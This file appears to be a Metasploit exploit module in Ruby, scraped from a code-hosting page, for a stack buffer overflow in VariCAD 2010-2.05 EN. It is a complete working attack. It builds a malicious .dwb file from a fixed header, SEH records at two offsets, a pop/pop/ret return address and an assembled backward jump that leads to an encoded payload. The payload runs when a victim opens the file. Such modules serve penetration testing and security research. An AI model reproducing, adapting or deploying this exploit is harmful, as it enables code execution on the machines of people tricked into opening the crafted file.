84 lines
2.3 KiB
Ruby
84 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.
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An attacker must send the file to victim and the victim must open the file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'n00b', # first public exploit
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'dookie', # metasploit first pass
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'MC', # cleanup pass 1 & second offset
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'jduck' # cleanup pass 2 & combined offsets
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],
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'References' =>
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[
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[ 'OSVDB', '63067' ],
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[ 'BID', '38815' ],
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[ 'EDB', '11789' ]
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x0a\x3d",
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'StackAdjustment' => -3500,
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal', { 'Ret' => 0x00401425 } ], #p/p/r in varicad-i386.exe
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 17 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.dwb']),
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], self.class)
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end
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def exploit
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header = "\x34\x87\x01\x00\x00\x00\x00\x00\x25\x5c\x1f\x85"
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sploit = rand_text_alpha_upper(1000) * 50
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# Add SEH frames..
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seh = generate_seh_record(target.ret)
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offsets = [ 26252, 22856 ]
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sploit[0,payload.encoded.length] = payload.encoded
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offsets.each { |off|
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sploit[off,seh.length] = seh
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distance = seh.length + off
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jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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sploit[off+seh.length,jmp.length] = jmp
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}
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(header + sploit)
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end
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end
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